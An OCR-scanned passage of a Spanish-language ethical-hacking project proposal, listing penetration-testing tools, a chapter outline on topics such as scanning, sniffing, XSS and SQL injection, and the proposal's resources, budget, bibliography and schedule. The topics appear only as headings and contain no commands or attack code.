Permite examinar datos de una “red viva” o de un archivo de captura salvado en el disco duro.
Se puede analizar la informacion capturada, a través de los detalles y sumarios por cada

paquete.
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Nubuntu: Creado el 18 de diciembre de 2005 es una distribucion que parte de la base de
Ubuntu, tiene una variedad de herramientas necesarias para realizar pruebas de penetracion
en servidores y redes. La idea principal es mantener la facilidad de uso de Ubuntu,
mezclandola con las populares herramientas para realizar pruebas de penetracion, ademas del
uso para examinacion de redes y servidores. Una de sus principales ventajas es que se puede

ejecutarse en maquinas con pocos recursos ya que es muy liviano.

9. ESQUEMA TENTATIVO.

[EEN

. Fundamentos de la Seguridad Informatica.
1.1. Importancia de la Seguridad.
1.2. Areas de proceso de la Seguridad.
1.3. Servicios de Seguridad.
1.4. Elementos de gestion de la seguridad de los sistemas de informacion.
1.5 Estandar de Seguridad 1SO-7498-2.
1.6 Métodos para desarrollar una politica de seguridad.
1.7 Estandar ISO/IEC -27001 de gestion de seguridad.

. Introduccién a la Etica del Hacker.
2.1 Definicién y Terminologias.
2.2 Seguridad de la Informacion.
2.3 El Triangulo de la Seguridad.
2.4 Evaluacion de Vulnerabilidades.
2.5 Fases para la emulacién de un ataque.

N

w

. El hacking ético y el sistema juridico.
3.1 Anadlisis de las leyes individuales.
3.2 Revision y Andlisis de entidades.
3.3 Normalizacion de las entidades.
3.4 Divulgacién de vulnerabilidades de manera correcta y ética.
3.5 El Proceso de las pruebas de penetracion.

D

. Information Gathering.

4.1 Footprinting.
4.1.1. Busquedas Url’s internas y externas.
4.1.2. Whois.
4.1.3. Consulta de registro DNS.
4.1.4. Localizacion de rango de red.
4.1.5. TraceRoute.

4.2 Scanning.
4.2.1. Definicion.
4.2.2. Tipos de scanning.
4.2.3. Técnicas de Port Scanning.
4.2.4. Fingerprinting de SO.
4.2.5. Scanning de vulnerabilidades.

4.3 Enumeracion.
4.3.1 Definicion.
4.3.2 Informacién enumerada por atacantes.
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4.3.3 Técnicas para realizar enumeracion.
4.3.4. Null Sessions.
4.3.5. Enumeracion SNMP.

Sniffer and Session Hijacking.

5.1. Definicién de Sniffing.

5.2. Protocolos Vulnerables a Sniffing.
5.3. Ataques ARP Spoofing.

5.4. Ataque DHCP Startvation.

5.5. Técnicas deteccion de Sniffing.
5.6. Secuestro de Sesion.

Password Cracking.

6.1. Definicion y tipos de contrasefias.
6.2. Tipos de ataques a contrasefas.
6.3. Autenticacion de contrasefias.

6.4. Recuperacion de contrasefias.

6.5. Ataques a contrasefias via web.
6.6. Mecanismos de Autenticacion web.

Hacking Web Services.

7.1. Funcionamiento de un servidor web.
7.2. Comprometer un servidor web.

7.3. Web server defacement.

7.4. Vulnerabilidades.

7.5. Escaneo de vulnerabilidades.

Vulnerabilidades en Aplicaciones Web.
8.1. Descripcién de aplicacion web.
8.2. Hacking en Aplicaciones web.

8.3. Cross Site Scripting (XSS).

8.4. SQL Injection.

8.5. Command Injection.

8.6. Buffer Overflow.

8.7. Exploits de SO.

8.8. Ataques a web services.

8.9. Ataques con acceso a la red.
8.10. Exploracién aplicaciones web con SQL Injection.

Anonimato y Borrado de Huellas.

9.1. Definicién de Proxy.

9.2. Tipos de Proxy.

9.3. Anonymizers.

9.4. Intruction Detection System (IDS).
9.5. Firewall.

9.6. Eliminando Rastros.

. Ingenieria Social.
10.1. Descripcion Ingenieria Social.
10.2. Tipos de Ingenieria Social.
10.3. Shoulder Surfing.
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10.4. Dumpster Diving.

10.5. Ingenieria social reversa.

10.6. Ataques Internos.

10.7. Fases en un ataque de ingeniera social.
10.8. Politicas de seguridad.

11. Entregables.
11.1. Objetivos del test.
11.2. Ambitos de la aplicacion del test.
11.3. Tipo y clases del test.
11.4. Resumen ejecutivo y resumen técnico.

10. PROCEDIMIENTOS METODOLOGICOS

Para realizar la investigacion y recopilacion de informacion me basare en las siguientes
técnicas:
Libros:
Para obtener conocimientos con el objetivo de captar informacion sobre
Procedimientos, leyes y herramientas.

Certificaciones:

Con el propdsito de alcanzar un mayor nivel de conocimientos, el aprendizaje

continuo es parte fundamental del desarrollo profesional.

Navegacion en Internet:

La navegacion es de gran utilidad para buscar informacion sobre las

herramientas que se utilizaran ya que permite obtener nuevas técnicas.

11. RECURSOS TECNICOS Y FINANCIEROS.

RECURSOS MATERIALES
Para la elaboracién del proyecto se requerira lo siguiente:

Hardware

e Portatil.
o Procesador Intel Corel i5 2.1.
o Memoria 4 Gb RAM
o Disco 500 Gb.
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Software

Backtrack 4 R1.
Nubuntu.
Samurai.
Nessus.

RECURSOS FINANCIEROS.

Gasto Cantidad Valor Unitario Valor Total
Resma de papel bond 3 4.00 12.00
CD 5 1.00 5.00
Cartuchos de tinta 3 30.00 90.00
Carpetas 5 1.00 5.00
30.00

12. BIBLIOGRAFIA
Libros

o Seguridad de la Informacién. Javier Areitio. 2009
o Hacking Etico. Carlos Tori. Mayo 2008
o Hacking Etico. Shon Harris, Allen Harper, Chris Eagles, Jonathan Ness, Michael
Lester. 2006.
o Hacker. Edicién 2009
Maria Teresa Jimeno Garcia, Carlos Miguez Pérez, Abel Mariano Matas Garcia
y Justo Pérez Agudin
Noviembre 2008
o Hacking. Técnicas fundamentales
HACKERS Y SEGURIDAD
Jon Erickson
Septiembre 2009

Sitios WEB.

e Politicas de seguridad. Disponible en http://www.ausejo.net/seguridad/politicas.htm
(consultado el 2 de Agosto del 2011).

¢ Vulnerabilidades de equipo de emergencia de los Estados Unidos. Disponible en:
http://www.kb.cert.org/vuls (consultado el 2 de Agosto del 2011).

¢ Vulnerabilidades. http://www.securityfocus.com/vulnerabilities (consultado el 4 de

Agosto del 2011).

e Tools para hacking http://www.hackerstorm.com/index-2.php (consultado el 4 de Agosto
del 2011).
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http://www.anayamultimedia.es/cgigeneral/busquedas.pl?id_autor=100006143&id_sello_editorial_web_anaya=23&id_sello_editorial_web=23&id_funcion=44&origen=2
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http://www.anayamultimedia.es/cgigeneral/busquedas.pl?id_autor=100027286&id_sello_editorial_web_anaya=23&id_sello_editorial_web=23&id_funcion=44&origen=2
http://www.ausejo.net/seguridad/politicas.htm
http://www.kb.cert.org/vuls
http://www.securityfocus.com/vulnerabilities
http://www.hackerstorm.com/index-2.php

Notas de paginas hackeadas http://zone-h.org/news/id/4736 (consultado el 8 de Agosto
del 2011).

Reverse DNS lookup http://www.dnsstuff.com/docs/ptr/ (consultado el 8 de Agosto del
2011).

Netcraft Phishing Site Feed http://news.netcraft.com/phishing-site-feed/ (consultado el
12 de Agosto del 2011).

Herramienta Whois http://tools.whois.net/whoisbyip/ (consultado el 12 de Agosto del
2011).

Herramientas Hacking. http://www.dragonjar.org/tag/hacking (consultado el 15 de
Agosto del 2011).

Documentacién Scanner http://www.angryip.org/w/Documentation (consultado el 15 de
Agosto del 2011).

13. CRONOGRAMA.

Fases

Tiempo

Mes 1

Mes 2

Mes 3

Mes 4

Mes 5

Mes 6

2| 3

1. Recoleccion de
Informacion

XX

2. Desarrollo
Teorico.

3. Desarrollo
Practico

4. Informe.

5. Manual Final.
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